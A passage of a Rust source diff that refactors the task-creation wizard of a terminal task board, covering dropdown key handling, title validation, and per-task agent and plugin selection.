self.state.input_buffer.remove(self.state.input_cursor);- }- self.state.task_ref_search = None;- } else {- search.pattern.pop();- if self.state.input_cursor > 0 {- let new_pos = prev_char_boundary(- &self.state.input_buffer,- self.state.input_cursor,- );- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;- }- let query = search.pattern.clone();- let matches = self.get_all_task_matches(&query);- if let Some(ref mut search) = self.state.task_ref_search {- search.matches = matches;- search.selected = 0;+ KeyCode::Down => list.select_next(),+ KeyCode::Up => list.select_prev(),+ KeyCode::Char('n') if ctrl => list.select_next(),+ KeyCode::Char('p') if ctrl => list.select_prev(),+ KeyCode::Tab => list.cycle(),+ _ => {+ let filter = list.filter.as_mut().expect("filtering");+ if filter.handle_edit_key(key) {+ // Backspacing the filter away is how you leave it, so+ // the whole list comes back rather than the step+ // staying in a mode with nothing typed.+ if filter.is_empty() && key.code == KeyCode::Backspace {+ list.stop_filter();}+ list.settle();}}- KeyCode::Char(c) => {- if let Some(ref mut search) = self.state.task_ref_search {- search.pattern.push(c);- }- self.state.input_buffer.insert(self.state.input_cursor, c);- self.state.input_cursor += c.len_utf8();- let query = self- .state- .task_ref_search- .as_ref()- .map(|s| s.pattern.clone())- .unwrap_or_default();- let matches = self.get_all_task_matches(&query);- if let Some(ref mut search) = self.state.task_ref_search {- search.matches = matches;- search.selected = 0;- }- }- _ => {}}return Ok(());}- // Handle skill search mode if active- if let Some(ref mut search) = self.state.skill_search {- match key.code {- KeyCode::Esc => {- // Cancel skill search, remove `/` + pattern from buffer- let remove_end = search.start_pos + 1 + search.pattern.len();- let suffix = self.state.input_buffer[remove_end..].to_string();- self.state.input_buffer.truncate(search.start_pos);- self.state.input_buffer.push_str(&suffix);- self.state.input_cursor = search.start_pos;- self.state.skill_search = None;- }- KeyCode::Enter | KeyCode::Tab => {- if let Some(entry) = search.matches.get(search.selected).cloned() {- // Replace `/` + pattern with the full command- let pattern_end = search.start_pos + 1 + search.pattern.len();- let suffix = self.state.input_buffer[pattern_end..].to_string();- self.state.input_buffer.truncate(search.start_pos);- self.state.input_buffer.push_str(&entry.command);- self.state.input_cursor = self.state.input_buffer.len();- self.state.input_buffer.push_str(&suffix);- self.state.highlighted_references.insert(entry.command);- }- self.state.skill_search = None;- }- KeyCode::Up => {- if search.selected > 0 {- search.selected -= 1;- }- }- KeyCode::Down => {- if search.selected < search.matches.len().saturating_sub(1) {- search.selected += 1;- }- }- KeyCode::Char('k') | KeyCode::Char('p')- if key- .modifiers- .contains(crossterm::event::KeyModifiers::CONTROL) =>- {- if search.selected > 0 {- search.selected -= 1;- }- }- KeyCode::Char('j') | KeyCode::Char('n')- if key- .modifiers- .contains(crossterm::event::KeyModifiers::CONTROL) =>- {- if search.selected < search.matches.len().saturating_sub(1) {- search.selected += 1;- }- }- KeyCode::Backspace => {- if search.pattern.is_empty() {- // Cancel search if pattern is empty- self.state.input_buffer.remove(search.start_pos); // Remove the `/`- self.state.input_cursor = search.start_pos;- self.state.skill_search = None;- } else {- search.pattern.pop();- let new_pos =- prev_char_boundary(&self.state.input_buffer, self.state.input_cursor);- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;- self.update_skill_search_matches();- }- }- KeyCode::Char(c) => {- search.pattern.push(c);- self.state.input_buffer.insert(self.state.input_cursor, c);- self.state.input_cursor += c.len_utf8();- self.update_skill_search_matches();- }- _ => {}+ match key.code {+ KeyCode::Char('/') => list.start_filter(),+ KeyCode::Char('j') | KeyCode::Down => list.select_next(),+ KeyCode::Char('k') | KeyCode::Up => list.select_prev(),+ KeyCode::Char('n') if ctrl => list.select_next(),+ KeyCode::Char('p') if ctrl => list.select_prev(),+ KeyCode::Tab => list.cycle(),+ _ => {}+ }+ Ok(())+ }++ /// Move to the next step, seeding it if this is the first time through, or+ /// save when there is no next step.+ fn advance_wizard(&mut self) -> Result<()> {+ if self.wizard_mut().step() == WizardStep::Title {+ // Nothing downstream can proceed without a title, so refuse here+ // rather than letting the user reach the last step and be told.+ if let Some(problem) = self.title_problem() {+ self.wizard_mut().validation = Some(problem);+ return Ok(());}+ }+ // The plugin list is filtered by the agent the task will run on, so a+ // change on the agent step has to rebuild it β otherwise the user is+ // offered plugins their agent does not support.+ if self.wizard_mut().step() == WizardStep::Agent {+ self.reseed_plugins_for_agent();+ }+ if !self.wizard_mut().advance() {+ return self.try_save_wizard();+ }+ if self.wizard_mut().step() == WizardStep::Prompt {+ self.seed_prompt_step();+ }+ Ok(())+ }++ /// Save if the wizard has what it needs, and say why not if it does not.+ ///+ /// A silent refusal reads as a broken key rather than a rejected input, so+ /// every path out of here either saves or explains itself.+ /// What is wrong with the title, if anything.+ ///+ /// One function so `Enter` on the title step and `Ctrl+S` from anywhere+ /// refuse for the same reasons and say the same thing.+ fn title_problem(&self) -> Option<String> {+ let wizard = self.state.wizard.as_ref()?;+ let title = wizard.title.as_str().trim();+ if title.is_empty() {+ return Some("A title is required.".to_string());+ }+ if title.chars().count() > MAX_TASK_TITLE_CHARS {+ return Some(format!(+ "Title is {} characters; the limit is {MAX_TASK_TITLE_CHARS}.",+ title.chars().count()+ ));+ }+ // A duplicate is legal but almost never intended, and the board shows+ // titles alone β two identical cards are indistinguishable.+ let editing = wizard.editing_task_id.as_deref();+ let clash = self+ .state+ .board+ .tasks+ .iter()+ .any(|t| Some(t.id.as_str()) != editing && t.title.trim() == title);+ if clash {+ return Some(format!("Another task is already called \"{title}\"."));+ }+ None+ }++ fn try_save_wizard(&mut self) -> Result<()> {+ // The plugin list is filtered by the agent; saving from the agent step+ // itself would otherwise store a plugin that agent does not support.+ self.reseed_plugins_for_agent();+ if let Some(problem) = self.title_problem() {+ let wizard = self.wizard_mut();+ // Send the user where the problem is, not where the key was pressed.+ // `back` clears the message on the way, so it is set afterwards.+ while wizard.step() != WizardStep::Title && wizard.back() {}+ wizard.validation = Some(problem);return Ok(());}+ self.save_task()?;+ self.cancel_wizard();+ Ok(())+ }- // Handle file search mode if active- if let Some(ref mut search) = self.state.file_search {- match key.code {- KeyCode::Esc => {- // Cancel file search- self.state.file_search = None;- }- KeyCode::Enter | KeyCode::Tab => {- // Select current match- if let Some(selected_file) = search.matches.get(search.selected).cloned() {- // Replace trigger+pattern with the selected file path, preserving text after- let pattern_end = search.start_pos + 1 + search.pattern.len(); // +1 for trigger char- let suffix = self.state.input_buffer[pattern_end..].to_string();- self.state.input_buffer.truncate(search.start_pos);- self.state.input_buffer.push_str(&selected_file);- self.state.input_cursor = self.state.input_buffer.len();- self.state.input_buffer.push_str(&suffix);- self.state.highlighted_references.insert(selected_file);- }- self.state.file_search = None;- }- KeyCode::Up => {- if search.selected > 0 {- search.selected -= 1;- }- }- KeyCode::Down => {- if search.selected < search.matches.len().saturating_sub(1) {- search.selected += 1;- }- }- KeyCode::Char('k') | KeyCode::Char('p')- if key- .modifiers- .contains(crossterm::event::KeyModifiers::CONTROL) =>- {- if search.selected > 0 {- search.selected -= 1;- }- }- KeyCode::Char('j') | KeyCode::Char('n')- if key- .modifiers- .contains(crossterm::event::KeyModifiers::CONTROL) =>+ /// The wizard's prompt field.+ ///+ /// The dropdown handlers below only run while the prompt step is open, so a+ /// missing wizard there is a routing bug rather than a state to handle.+ fn prompt_mut(&mut self) -> &mut TextInput {+ &mut self+ .state+ .wizard+ .as_mut()+ .expect("prompt handlers only run while the wizard is open")+ .prompt+ }++ /// Splice `replacement` over the trigger character and the pattern typed+ /// after it, keeping whatever follows.+ ///+ /// All three dropdowns commit and cancel this way; only the text differs.+ /// The caret lands at the end of the inserted text rather than the end of+ /// the line, which is what lets the user keep typing mid-sentence.+ fn splice_search_region(&mut self, start: usize, pattern_len: usize, replacement: &str) {+ let prompt = self.prompt_mut();+ // +1 for the trigger character itself.+ let end = (start + 1 + pattern_len).min(prompt.buffer.len());+ let start = start.min(prompt.buffer.len());+ let suffix = prompt.buffer[end..].to_string();+ prompt.buffer.truncate(start);+ prompt.buffer.push_str(replacement);+ prompt.cursor = prompt.buffer.len();+ prompt.buffer.push_str(&suffix);+ }++ /// Keys belonging to the `!` task-reference dropdown. `false` when it is+ /// not open, so the caller falls through to the ordinary prompt handling.+ ///+ /// The dropdown state is **taken out** for the duration: every arm needs it+ /// alongside the wizard's prompt field, and several also call back into+ /// `self` to refresh the match list, which a held borrow would not allow.+ fn handle_task_ref_search_key(&mut self, key: crossterm::event::KeyEvent) -> bool {+ let Some(mut search) = self.state.task_ref_search.take() else {+ return false;+ };+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);+ let alt = key.modifiers.contains(crossterm::event::KeyModifiers::ALT);+ let mut keep_open = true;+ let mut refresh = false;++ match key.code {+ KeyCode::Esc => {+ self.splice_search_region(search.start_pos, search.pattern.len(), "");+ keep_open = false;+ }+ KeyCode::Enter | KeyCode::Tab => {+ if let Some((task_id, title, _status)) =+ search.matches.get(search.selected).cloned(){- if search.selected < search.matches.len().saturating_sub(1) {- search.selected += 1;- }- }- KeyCode::Backspace => {- if search.pattern.is_empty() {- // Cancel search if pattern is empty- self.state.input_buffer.pop(); // Remove the trigger char (ASCII)- self.state.input_cursor = self.state.input_cursor.saturating_sub(1);- self.state.file_search = None;- } else {- search.pattern.pop();- self.state.input_buffer.pop();- self.state.input_cursor = self.state.input_buffer.len();- self.update_file_search_matches();- }- }- KeyCode::Char(c) => {- search.pattern.push(c);- self.state.input_buffer.push(c);- self.state.input_cursor += c.len_utf8();- self.update_file_search_matches();+ let ref_text = format!("![{}]", title);+ self.splice_search_region(search.start_pos, search.pattern.len(), &ref_text);+ let wizard = self.wizard_mut();+ wizard.highlighted_references.insert(ref_text);+ wizard.referenced_task_ids.insert(task_id);+ }+ keep_open = false;+ }+ KeyCode::Up => search.select_prev(),+ KeyCode::Down => search.select_next(),+ KeyCode::Char('k') | KeyCode::Char('p') if ctrl => search.select_prev(),+ KeyCode::Char('j') | KeyCode::Char('n') if ctrl => search.select_next(),+ KeyCode::Backspace => {+ if search.pattern.is_empty() {+ // Nothing typed yet: backspace removes the `!` and closes.+ self.prompt_mut().backspace();+ keep_open = false;+ } else {+ search.pattern.pop();+ self.prompt_mut().backspace();+ refresh = true;}- _ => {}}- return Ok(());+ // A chord the picker did not claim is not text: `Ctrl+X` must not+ // reach the pattern, and `Ctrl+J` means newline once the picker is+ // closed.+ KeyCode::Char(c) if !ctrl && !alt => {+ search.pattern.push(c);+ self.prompt_mut().insert_char(c);+ refresh = true;+ }+ _ => {}+ }++ if keep_open {+ if refresh {+ search.matches = self.get_all_task_matches(&search.pattern);+ search.selected = 0;+ }+ self.state.task_ref_search = Some(search);}+ true+ }++ /// Keys belonging to the `/` skill dropdown. See+ /// `handle_task_ref_search_key` for why the state is taken out.+ fn handle_skill_search_key(&mut self, key: crossterm::event::KeyEvent) -> bool {+ let Some(mut search) = self.state.skill_search.take() else {+ return false;+ };+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);+ let alt = key.modifiers.contains(crossterm::event::KeyModifiers::ALT);+ let mut keep_open = true;+ let mut refresh = false;match key.code {KeyCode::Esc => {- self.cancel_wizard();+ self.splice_search_region(search.start_pos, search.pattern.len(), "");+ keep_open = false;+ }+ KeyCode::Enter | KeyCode::Tab => {+ if let Some(entry) = search.matches.get(search.selected).cloned() {+ self.splice_search_region(+ search.start_pos,+ search.pattern.len(),+ &entry.command,+ );+ self.wizard_mut()+ .highlighted_references+ .insert(entry.command);+ }+ keep_open = false;}- KeyCode::Enter => {- // Check if line ends with backslash for line continuation- if self.state.input_buffer.ends_with('\\') {- // Remove backslash and insert newline- self.state.input_buffer.pop();- self.state.input_buffer.push('\n');- self.state.input_cursor = self.state.input_buffer.len();+ KeyCode::Up => search.select_prev(),+ KeyCode::Down => search.select_next(),+ KeyCode::Char('k') | KeyCode::Char('p') if ctrl => search.select_prev(),+ KeyCode::Char('j') | KeyCode::Char('n') if ctrl => search.select_next(),+ KeyCode::Backspace => {+ if search.pattern.is_empty() {+ self.prompt_mut().backspace();+ keep_open = false;} else {- // Save task (create or update)- self.save_task()?;- self.cancel_wizard();+ search.pattern.pop();+ self.prompt_mut().backspace();+ refresh = true;}}- KeyCode::Left if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {- self.state.input_cursor =- word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Right if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {- self.state.input_cursor =- word_boundary_right(&self.state.input_buffer, self.state.input_cursor);+ KeyCode::Char(c) if !ctrl && !alt => {+ search.pattern.push(c);+ self.prompt_mut().insert_char(c);+ refresh = true;}- // macOS: Option+Left/Right sends Alt+b / Alt+f- KeyCode::Char('b') if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {- self.state.input_cursor =- word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Char('f') if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {- self.state.input_cursor =- word_boundary_right(&self.state.input_buffer, self.state.input_cursor);+ _ => {}+ }++ if keep_open {+ self.state.skill_search = Some(search);+ if refresh {+ self.update_skill_search_matches();}- // Alt+Backspace: delete word backward (macOS Option+Delete)- KeyCode::Backspace if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {- let new_pos = word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;+ }+ true+ }++ /// Keys belonging to the `#` / `@` file dropdown. See+ /// `handle_task_ref_search_key` for why the state is taken out.+ fn handle_file_search_key(&mut self, key: crossterm::event::KeyEvent) -> bool {+ let Some(mut search) = self.state.file_search.take() else {+ return false;+ };+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);+ let alt = key.modifiers.contains(crossterm::event::KeyModifiers::ALT);+ let mut keep_open = true;+ let mut refresh = false;++ match key.code {+ // Unlike the other two, Esc leaves the typed text in place β the+ // `#` was a real character the user may have meant.+ KeyCode::Esc => keep_open = false,+ KeyCode::Enter | KeyCode::Tab => {+ if let Some(selected_file) = search.matches.get(search.selected).cloned() {+ self.splice_search_region(+ search.start_pos,+ search.pattern.len(),+ &selected_file,+ );+ self.wizard_mut()+ .highlighted_references+ .insert(selected_file);+ }+ keep_open = false;}- KeyCode::Left => {- self.state.input_cursor =- prev_char_boundary(&self.state.input_buffer, self.state.input_cursor);+ KeyCode::Up => search.select_prev(),+ KeyCode::Down => search.select_next(),+ KeyCode::Char('k') | KeyCode::Char('p') if ctrl => search.select_prev(),+ KeyCode::Char('j') | KeyCode::Char('n') if ctrl => search.select_next(),+ KeyCode::Backspace => {+ if search.pattern.is_empty() {+ self.prompt_mut().backspace();+ keep_open = false;+ } else {+ search.pattern.pop();+ self.prompt_mut().backspace();+ refresh = true;+ }}- KeyCode::Right => {- self.state.input_cursor =- next_char_boundary(&self.state.input_buffer, self.state.input_cursor);+ KeyCode::Char(c) if !ctrl && !alt => {+ search.pattern.push(c);+ self.prompt_mut().insert_char(c);+ refresh = true;}- KeyCode::Home => {- self.state.input_cursor = 0;+ _ => {}+ }++ if keep_open {+ self.state.file_search = Some(search);+ if refresh {+ self.update_file_search_matches();}- KeyCode::End => {- self.state.input_cursor = self.state.input_buffer.len();+ }+ true+ }++ /// Keys on the wizard's prompt step, once no dropdown has claimed them.+ fn handle_prompt_input(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ match key.code {+ // Two chords that need no negotiation from the terminal, beside+ // the `\`+Enter escape below:+ //+ // - `Ctrl+J` always works: in raw mode crossterm parses 0x0A as+ // Ctrl+J rather than as Enter.+ // - `Alt+Enter` arrives as ESC then CR on most terminals, though+ // macOS Terminal and iTerm2 only send it once Option is+ // configured as Meta.+ //+ // `Shift+Enter` is deliberately absent: a terminal sends a bare CR+ // for both it and Enter unless the Kitty keyboard protocol is+ // negotiated, so the binding would fire almost never and read as+ // "save" the rest of the time. See `with_ops`.+ KeyCode::Char('j')+ if key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL) =>+ {+ self.prompt_mut().insert_char('\n');}- KeyCode::Backspace => {- if self.state.input_cursor > 0 {- let new_pos =- prev_char_boundary(&self.state.input_buffer, self.state.input_cursor);- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;- }+ KeyCode::Enter if key.modifiers.contains(crossterm::event::KeyModifiers::ALT) => {+ self.prompt_mut().insert_char('\n');}- KeyCode::Delete => {- if self.state.input_cursor < self.state.input_buffer.len() {- let end = next_char_boundary(&self.state.input_buffer, self.state.input_cursor);- self.state.input_buffer.drain(self.state.input_cursor..end);+ KeyCode::Enter => {+ // A trailing backslash is the line-continuation escape.+ if self.prompt_mut().buffer.ends_with('\\') {+ let prompt = self.prompt_mut();+ prompt.buffer.pop();+ prompt.buffer.push('\n');+ prompt.cursor = prompt.buffer.len();+ } else {+ self.try_save_wizard()?;}}KeyCode::Char('#') | KeyCode::Char('@') => {- // Start file search at cursor positionlet trigger = if let KeyCode::Char(c) = key.code {c} else {'#'};- let start_pos = self.state.input_cursor;- self.state- .input_buffer- .insert(self.state.input_cursor, trigger);- self.state.input_cursor += 1;+ let start_pos = self.prompt_mut().cursor;+ self.prompt_mut().insert_char(trigger);self.state.file_search = Some(FileSearchState {pattern: String::new(),matches: vec![],@@ -5024,20 +5197,9 @@ impl App {});self.update_file_search_matches();}- KeyCode::Char('/')- if self.state.input_cursor == 0- || matches!(- self.state- .input_buffer- .as_bytes()- .get(self.state.input_cursor.wrapping_sub(1)),- Some(&b'\n') | Some(&b' ')- ) =>- {- // Start skill search at cursor position (at start of line or after space)- let start_pos = self.state.input_cursor;- self.state.input_buffer.insert(self.state.input_cursor, '/');- self.state.input_cursor += 1;+ KeyCode::Char('/') if self.prompt_at_word_start() => {+ let start_pos = self.prompt_mut().cursor;+ self.prompt_mut().insert_char('/');// Start with bundled skills (always available, no filesystem needed)let mut seen = std::collections::HashSet::new();@@ -5075,25 +5237,9 @@ impl App {start_pos,});}- KeyCode::Char('!')- if self.state.input_cursor == 0- || self- .state- .input_buffer- .as_bytes()- .get(self.state.input_cursor.wrapping_sub(1))- == Some(&b'\n')- || self- .state- .input_buffer- .as_bytes()- .get(self.state.input_cursor.wrapping_sub(1))- == Some(&b' ') =>- {- // Start task reference search at cursor position (at start of line or after space)- let start_pos = self.state.input_cursor;- self.state.input_buffer.insert(self.state.input_cursor, '!');- self.state.input_cursor += 1;+ KeyCode::Char('!') if self.prompt_at_word_start() => {+ let start_pos = self.prompt_mut().cursor;+ self.prompt_mut().insert_char('!');let matches = self.get_all_task_matches("");self.state.task_ref_search = Some(TaskRefSearchState {@@ -5103,15 +5249,33 @@ impl App {start_pos,});}- KeyCode::Char(c) => {- self.state.input_buffer.insert(self.state.input_cursor, c);- self.state.input_cursor += c.len_utf8();+ // Everything the trigger guards above declined β including a `/`+ // mid-word, which must arrive as ordinary text β plus all motion+ // and deletion. See `tui::text_input`.+ _ => {+ self.prompt_mut().handle_edit_key(key);}- _ => {}}Ok(())}+ /// Whether the caret sits where `/` and `!` open their pickers: at the very+ /// start, or just after a space or newline. Mid-word they are ordinary+ /// characters β a path like `src/main.rs` must not open the skill list.+ fn prompt_at_word_start(&self) -> bool {+ let Some(wizard) = self.state.wizard.as_ref() else {+ return false;+ };+ let cursor = wizard.prompt.cursor;+ if cursor == 0 {+ return true;+ }+ matches!(+ wizard.prompt.buffer.as_bytes().get(cursor - 1),+ Some(&b'\n') | Some(&b' ')+ )+ }+fn update_file_search_matches(&mut self) {if let (Some(ref mut search), Some(ref project_path)) =(&mut self.state.file_search, &self.state.project_path)@@ -5151,181 +5315,291 @@ impl App {}fn save_task(&mut self) -> Result<()> {- if let Some(db) = &self.state.db {- let agent = self.state.config.default_agent.clone();- let plugin_name = self- .state- .wizard_plugin_options- .get(self.state.wizard_selected_plugin)- .map(|o| o.name.clone())- .unwrap_or_default();- let plugin = if plugin_name.is_empty() {- None- } else {- Some(plugin_name)- };- let refs = if self.state.wizard_referenced_task_ids.is_empty() {- None- } else {- Some(- self.state- .wizard_referenced_task_ids- .iter()- .cloned()- .collect::<Vec<_>>()- .join(","),- )- };+ let Some(wizard) = self.state.wizard.as_ref() else {+ return Ok(());+ };+ let Some(db) = self.state.db.as_ref() else {+ return Ok(());+ };+ // The agent step's pick when it offered one, else the configured+ // default. `Task::agent` is what every later phase reads.+ let agent = wizard+ .agent_name()+ .map(str::to_string)+ .unwrap_or_else(|| self.state.config.default_agent.clone());+ let plugin = wizard.plugin_name().map(str::to_string);+ let refs = if wizard.referenced_task_ids.is_empty() {+ None+ } else {+ Some(+ wizard+ .referenced_task_ids+ .iter()+ .cloned()+ .collect::<Vec<_>>()+ .join(","),+ )+ };+ // `can_save` has already rejected a blank title, so trimming here only+ // strips the padding a real one may have picked up.+ let title = wizard.title.as_str().trim().to_string();+ let description = if wizard.prompt.is_empty() {+ None+ } else {+ Some(wizard.prompt.buffer.clone())+ };- if let Some(task_id) = &self.state.editing_task_id {- // Editing existing task- if let Some(mut task) = db.get_task(task_id)? {- task.title = self.state.pending_task_title.clone();- task.description = if self.state.input_buffer.is_empty() {- None- } else {- Some(self.state.input_buffer.clone())- };+ match wizard.editing_task_id.clone() {+ Some(task_id) => {+ if let Some(mut task) = db.get_task(&task_id)? {+ task.title = title;+ task.description = description;task.agent = agent;task.plugin = plugin;task.referenced_tasks = refs;task.updated_at = chrono::Utc::now();db.update_task(&task)?;}- } else {- // Creating new task+ }+ None => {let project_id = self.state.project_name.clone();-- let mut task = Task::new(&self.state.pending_task_title, agent, project_id);- if !self.state.input_buffer.is_empty() {- task.description = Some(self.state.input_buffer.clone());- }+ let mut task = Task::new(&title, agent, project_id);+ task.description = description;task.plugin = plugin;task.referenced_tasks = refs;- // Task starts in Backlog without tmux window+ // Task starts in Backlog without tmux window.+ // No orchestrator notification β it only manages Planning/Running.db.create_task(&task)?;+ }+ }+ self.refresh_tasks()+ }- // No orchestrator notification for Backlog β orchestrator only manages Planning/Running+ /// On a first launch, ask which agent to use in the editor that owns that+ /// question rather than in a menu of its own.+ ///+ /// A no-op on every other launch, so the caller does not have to check.+ fn open_first_run_editor(&mut self) {+ if !self.state.flags.first_run {+ return;+ }+ self.open_config_editor();+ if let Some(editor) = self.state.config_editor.as_mut() {+ editor.focus(super::config_editor::FieldId::DefaultAgent);+ // Kept shorter than the footer, which is what sets the box width.+ editor.status = Some("Welcome β pick your default agent.".to_string());+ }+ }++ /// Fill both list steps as soon as the wizard opens.+ ///+ /// Done here rather than on the first `Enter` so the breadcrumb shows the+ /// real flow from the first frame β otherwise it reads "Title βΊ Prompt"+ /// and then grows two steps once you commit to a title.+ fn seed_wizard_lists(&mut self) {+ self.seed_agent_step();+ self.seed_plugin_step();+ }++ /// Rebuild the plugin list when the agent it was filtered by has changed.+ ///+ /// Keeps the user's pick when that plugin survives the new filter, because+ /// switching agent is not a decision about the plugin.+ fn reseed_plugins_for_agent(&mut self) {+ let agent = self.wizard_mut().agent_name().map(str::to_string);+ if agent.as_deref() == self.state.plugins_filtered_for.as_deref() {+ return;+ }+ let previous = self+ .wizard_mut()+ .plugin+ .selected_option()+ .map(|o| o.name.clone());+ self.wizard_mut().plugin = super::wizard::ListPick::default();+ self.seed_plugin_step();+ if let Some(name) = previous {+ let wizard = self.wizard_mut();+ if let Some(index) = wizard.plugin.options.iter().position(|o| o.name == name) {+ wizard.plugin.selected = index;}- self.refresh_tasks()?;}- Ok(())}- /// Initialize plugin selection options for the wizard, filtered by selected agent.- fn init_plugin_selection(&mut self) {- let current = if let Some(task_id) = &self.state.editing_task_id {- self.state+ /// Build the agent list and decide whether the step is worth showing.+ ///+ /// The choice is per task: `Task::agent` is a database field, and before+ /// this the only way to run one task on a different agent was to edit the+ /// config, start it, and edit back.+ fn seed_agent_step(&mut self) {+ if !self.wizard_mut().agent.take_seed() {+ return;+ }+ let default_agent = self.state.config.default_agent.clone();+ // Editing opens on whatever the task already runs on, which need not be+ // the project default.+ let current = self+ .wizard_mut()+ .editing_task_id+ .clone()+ .and_then(|id| {+ self.state+ .db+ .as_ref()+ .and_then(|db| db.get_task(&id).ok().flatten())+ })+ .map(|t| t.agent)+ .unwrap_or_else(|| default_agent.clone());++ let options: Vec<PickOption> = self+ .state+ .available_agents+ .iter()+ .map(|agent| {+ PickOption::new(+ &agent.name,+ &agent.name,+ &agent.description,+ agent.name == current,+ )+ })+ .collect();++ let selected = options.iter().position(|o| o.active).unwrap_or(0);+ let offer_step = options.len() > 1;+ let wizard = self.wizard_mut();+ wizard.agent.options = options;+ wizard.agent.selected = selected;+ wizard.set_optional_step(WizardStep::Agent, offer_step);+ }++ /// Build the plugin list and decide whether the step is worth showing.+ ///+ /// Runs once per wizard: re-entering the title step and advancing again+ /// must not rebuild the list, or the user's pick resets to the project+ /// default they just chose against.+ fn seed_plugin_step(&mut self) {+ if !self.wizard_mut().plugin.take_seed() {+ return;+ }+ // With no detected agents there is no compatibility to filter on and+ // nothing meaningful to choose between.+ if self.state.available_agents.is_empty() {+ self.wizard_mut()+ .set_optional_step(WizardStep::Plugin, false);+ return;+ }++ let editing = self.wizard_mut().editing_task_id.clone();+ let current = match editing {+ Some(task_id) => self+ .state.db.as_ref()- .and_then(|db| db.get_task(task_id).ok().flatten())+ .and_then(|db| db.get_task(&task_id).ok().flatten()).and_then(|t| t.plugin.clone()).or_else(|| self.state.config.workflow_plugin.clone())- .unwrap_or_else(|| "agtx".to_string())- } else {- self.state+ .unwrap_or_else(|| "agtx".to_string()),+ None => self+ .state.config.workflow_plugin.as_deref().unwrap_or("agtx")- .to_string()+ .to_string(),};- let selected_agent_name = &self.state.config.default_agent;-- let mut options = vec![PluginOption {- name: "agtx".to_string(),- label: "agtx".to_string(),- description: "Built-in workflow with skills and prompts".to_string(),- active: current == "agtx",- }];+ // Filtered against the agent the *task* will run on, which the agent+ // step may just have changed β a plugin that does not support it should+ // not be offered.+ let selected_agent_name = self+ .wizard_mut()+ .agent_name()+ .map(str::to_string)+ .unwrap_or_else(|| self.state.config.default_agent.clone());++ let mut options = vec![PickOption::new(+ "agtx",+ "agtx",+ "Built-in workflow with skills and prompts",+ current == "agtx",+ )];for (name, desc, content) in skills::BUNDLED_PLUGINS {if *name == "agtx" {continue;}// Filter by agent compatibilityif let Ok(plugin) = toml::from_str::<WorkflowPlugin>(content) {- if !plugin.supports_agent(selected_agent_name) {+ if !plugin.supports_agent(&selected_agent_name) {continue;}}- options.push(PluginOption {- name: name.to_string(),- label: name.to_string(),- description: desc.to_string(),- active: current == *name,- });+ options.push(PickOption::new(name, name, desc, current == *name));}for custom in skills::discover_custom_plugins(self.state.project_path.as_deref()) {- if !custom.plugin.supports_agent(selected_agent_name) {+ if !custom.plugin.supports_agent(&selected_agent_name) {continue;}- options.push(PluginOption {- name: custom.name.clone(),- label: custom.name.clone(),- description: custom.description,- active: current == custom.name,- });+ let active = current == custom.name;+ options.push(PickOption::new(+ &custom.name,+ &custom.name,+ &custom.description,+ active,+ ));}let selected = options.iter().position(|o| o.active).unwrap_or(0);- self.state.wizard_plugin_options = options;- self.state.wizard_selected_plugin = selected;+ let offer_step = options.len() > 1;+ self.state.plugins_filtered_for = Some(selected_agent_name);+ let wizard = self.wizard_mut();+ wizard.plugin.options = options;+ wizard.plugin.selected = selected;+ wizard.set_optional_step(WizardStep::Plugin, offer_step);}- /// Initialize the description input step of the wizard.- fn init_description_input(&mut self) {- if let Some(task_id) = &self.state.editing_task_id {- if let Some(db) = &self.state.db {- if let Ok(Some(task)) = db.get_task(task_id) {- self.state.input_buffer = task.description.unwrap_or_default();- // Restore referenced task IDs if editing- self.state.wizard_referenced_task_ids = task- .referenced_tasks- .as_deref()- .map(|s| {- s.split(',')- .filter(|id| !id.is_empty())- .map(String::from)- .collect()- })- .unwrap_or_default();- } else {- self.state.input_buffer.clear();- }- } else {- self.state.input_buffer.clear();+ /// Load an edited task's existing prompt and references.+ ///+ /// Runs once per wizard, for the same reason as `seed_plugin_step` and with+ /// worse consequences: reloading from the database on the way forward would+ /// throw away every edit made before the user stepped back.+ fn seed_prompt_step(&mut self) {+ if !self.wizard_mut().take_prompt_seed() {+ return;+ }+ let Some(task_id) = self.wizard_mut().editing_task_id.clone() else {+ return;+ };+ let existing = self+ .state+ .db+ .as_ref()+ .and_then(|db| db.get_task(&task_id).ok().flatten());+ let wizard = self.wizard_mut();+ match existing {+ Some(task) => {+ wizard.prompt.set_text(task.description.unwrap_or_default());+ wizard.referenced_task_ids = task+ .referenced_tasks+ .as_deref()+ .map(|s| {+ s.split(',')+ .filter(|id| !id.is_empty())+ .map(String::from)+ .collect()+ })+ .unwrap_or_default();}+ None => wizard.prompt.clear(),}- self.state.input_cursor = self.state.input_buffer.len();- self.state.input_mode = InputMode::InputDescription;}- /// Cancel the task creation/edit wizard entirely.+ /// Close the wizard, discarding it. Any open dropdown goes with it, and so+ /// does the note of which agent its plugin list was filtered by.fn cancel_wizard(&mut self) {- self.state.input_mode = InputMode::Normal;- self.state.input_buffer.clear();- self.state.input_cursor = 0;- self.state.pending_task_title.clear();- self.state.editing_task_id = None;- self.state.highlighted_references.clear();- self.state.wizard_plugin_options.clear();- self.state.wizard_referenced_task_ids.clear();+ self.state.wizard = None;+ self.state.plugins_filtered_for = None;self.state.task_ref_search = None;- }-- /// Advance from title step to plugin selection or description.- fn advance_from_title(&mut self) {- // Skip plugin selection when no agents detected (e.g. test mode)- if self.state.available_agents.is_empty() {- self.init_description_input();- return;- }- self.init_plugin_selection();- if self.state.wizard_plugin_options.len() <= 1 {- self.init_description_input();- } else {- self.state.input_mode 